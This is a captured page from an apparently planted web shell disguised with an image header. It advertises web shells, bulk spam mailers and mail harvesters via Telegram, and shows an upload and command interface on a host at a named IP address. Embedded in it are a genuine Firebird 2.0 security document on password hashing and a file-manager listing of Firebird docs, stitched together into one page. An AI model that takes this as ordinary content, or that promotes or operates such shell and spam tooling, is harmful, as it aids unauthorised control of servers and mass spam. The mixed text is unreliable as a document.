����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
		Security changes in firebird 2.0.

IF YOU GET MESSAGE "cannot attach to password database" TRYING TO START FIREBIRD AFTER UPGRADE FROM 1.5, PLEASE READ ~/upgrade/v2/security_database.txt.

WARNING! Firebird security level is still not satisfactory in one serious aspect, therefore carefully read this document before opening port 3050 to "big dirty" net.

	Very important security problem of firebird, which is still unresolved - transmission of badly encrypted passwords (read - clear) across network. Unfortunately, it's impossible to solve this problem without breaking old clients, i.e. user who has set password using new secure way will not be able to attach to the server with old client. This fact (and plans to upgrade some aspects of API in next version) lead to decision not to modify way of passwords transmission in firebird 2.0. Fortunately, this problem may be easily solved using any IP-tunneling software (like ZeBeDee) to move data to and from firebird server (this is true for both 1.5 and 2.0) and this is recommended way to access your remote firebird server across internet.
	Special attention was paid to the following aspects of security:
	- none brute-force resistant passwords encryption in security2.fdb;
	- ability for any remote user (with valid account) to open security2.fdb and read hashes from it (specially interesting in combination with previous point);
	- inability for user to change his/her own password;
	- no protection from remote brute-forcing of passwords on the server directly. 
	Lets have a look at the process of user identification in firebird 1.5. DES algorithm is used to hash password twice - first by client, next by server before comparison with hash stored in security database. But this sequence becomes completely broken when one SYSDBA changes password - client performs hash calculation twice and stores resulting hash directly in security database. Therefore hash management is completely client-dependent (or even better to say client-defined). To be able to use stronger hashes another approach should be used - hash to be stored on the server is always calculated by server side. And such schema already exists in firebird - this is services API. Therefore decision was made to use services API in any client activity related with users management. For today gsec and isc_user_add(modify, delete) API both use services to access security database (with exception of embedded access to POSIX CS, see below). Now it became quite easy to make any changes to way of passwords hashing - it's always performed by server. Should notice, that new gsec successfully works with old firebird versions - as long as server supports services, it's not a problem of gsec, how the has will be calculated for security database, it simply asks services to do the work!
	New hashing algorithm, selected for firebird 2.0, is SHA-1. Data, stored in PASSWORD field of security database, contains two parts - some random number, used as salt for calculating this particular hash, and hash itself (it's calculated as SHA1 (salt || username || password)). This method leads to the facts that (first) hash valid for user A is invalid for user B and (second) when user changes his password even to absolutely the same as later, new data is stored in PASSWORD field of security2.fdb. This facts don't increase resistance to any attempt to brute-force password, but make "visual" analysis of stolen password database much harder.
	One of the problems, solved during security review, was old gsec. Certainly, no one can change data in security database without correct password knowledge, but it's relatively easy to use old version of gsec. It will write bad old hash in PASSWORD field, and if LegacyHash parameter of firebird.conf is set to 0 (this is default, 1 should be used only during upgrade process), login to server becomes impossible. Therefore special measures were taken to make remote connection to security database impossible at all. Don't be surprised if some old program, trying to use such direct access, fails - this is by design, only services API (and isc_user_* API functions, in turn using services internally) may be used now to access users info.
	Structure of security database was changed. In general, now it contains patch by Ivan Prenosil, enabling any user to change his/her own password. But there are also some small differences. In firebird 1.5 table USERS had to be readable by PUBLIC - it was engines requirement, otherwise process of password validation failed. In Ivan's patch solution with view, having condition USER = '' in where clause, was used. That worked due to another bug in engine, which left USER SQL variable empty, not 'authenticator', as it might seem from engine's code. After fixing that bug, it was certainly possible to add condition USER = 'authenticator', which in short-term was OK, because normal username is always converted to upper case. But better solution was found, and now user authentication process does not depend from such tricks. As the result - non-SYSDBA user can see only his login in any user-management tool (gsec, any GUI, which uses services API). SYSDBA certainly has full access to manage users' accounts.
	The chance left for hacker to break firebird installation is trying to brute-force password. Taking into account, that maximum password length is 8 bytes, this is a bit possible for firebird. Version 2.0 has protection from it - after too many attempts to enter wrong password authentication process is locked for a while, minimizing the chance of finding correct password during reasonable time.
	POSIX classic server.
	For some technical and historical reasons, this kind of installation is specially dangerous from security point of view. Users, having embedded access to databases, MUST be given at least read access to such critical place as security database. This is the main reason that no matter of the fact that in firebird 2 security database is protected from any remote access, use of enhanced password hashes in it was really required step. Imagine malicious user, having user-level access to firebird. He can easily steal security database, take it home and quietly brute-force old DES hashes! After it he can change data in critical databases, stored on that server - specially dangerous kind of attack. In firebird 2 such activity was made much harder to perform.
	But embedded POSIX server has one more problem with security - services API on it uses that same command line gsec, as normal users do. Therefore this utility must have full access to security database. Luckily, the main reason to restrict direct access to security database was protecting from use of old versions of client software. But it's quite unlikely to have old client and new server on the production box. Therefore current solution of giving full embedded access to local security database in embedded mode is not too dangerous.


Filemanager

Name Type Size Permission Actions
sample Folder 0755
sql.extensions Folder 0755
CHANGELOG.md File 124.67 KB 0644
Firebird-3-QuickStart.pdf File 373.23 KB 0644
Firebird-4.0.6-ReleaseNotes.pdf File 1.08 MB 0644
IDPLicense.txt File 25.41 KB 0444
IPLicense.txt File 23.73 KB 0444
README.DiskSpaceAllocation File 3.23 KB 0644
README.Fedora File 732 B 0644
README.IPv6 File 2.11 KB 0644
README.NTSecurity File 1.67 KB 0644
README.Optimizer.txt File 4.22 KB 0644
README.SecureRemotePassword.html File 10.51 KB 0644
README.Win32LibraryInstallation.txt File 5.09 KB 0644
README.Win9X_NT_embedding File 1.08 KB 0644
README.build.macosx.md File 588 B 0644
README.build.mingw.html File 4.12 KB 0644
README.build.msvc.html File 5.9 KB 0644
README.build.posix.html File 26.14 KB 0644
README.coding.style File 1.37 KB 0644
README.connection_string_charset.txt File 2.07 KB 0644
README.connection_strings File 4.14 KB 0644
README.external_routines.txt File 4.11 KB 0644
README.fb_cancel_operation File 2.3 KB 0644
README.fb_shutdown File 4.44 KB 0644
README.fbsvcmgr File 5.22 KB 0644
README.garbage_collector File 2.19 KB 0644
README.gbak File 829 B 0644
README.incompatibilities.3to4.txt File 3.22 KB 0644
README.incompatibilities.txt File 1.79 KB 0644
README.instsvc File 7.24 KB 0644
README.intl File 21.38 KB 0644
README.isql_enhancements.txt File 10.54 KB 0644
README.makefiles File 3.38 KB 0644
README.md File 1.83 KB 0644
README.modern_cpp.md File 2.26 KB 0644
README.monitoring_tables File 19.57 KB 0644
README.online_validation File 3.9 KB 0644
README.performance_monitoring File 2.9 KB 0644
README.plugins.html File 15.2 KB 0644
README.providers.html File 10.51 KB 0644
README.raw_devices File 2.32 KB 0644
README.read_consistency.md File 14.09 KB 0644
README.read_password_from_file File 1.19 KB 0644
README.replication.md File 11.38 KB 0644
README.security_database.txt File 3.11 KB 0644
README.services_extension File 11.44 KB 0644
README.session_idle_timeouts File 4.82 KB 0644
README.sha1 File 6.78 KB 0644
README.statement_timeouts File 6.77 KB 0644
README.superclassic File 2.65 KB 0644
README.trace_services File 7.38 KB 0644
README.transaction_at_snapshot.md File 906 B 0644
README.trusted_authentication File 3.14 KB 0644
README.user.embedded File 3.4 KB 0644
README.user.troubleshooting File 5.57 KB 0644
README.wire.compression.html File 1.9 KB 0644
README.xnet File 1.35 KB 0644
udf_replace.sql File 10.73 KB 0600
udf_replace.txt File 2.81 KB 0600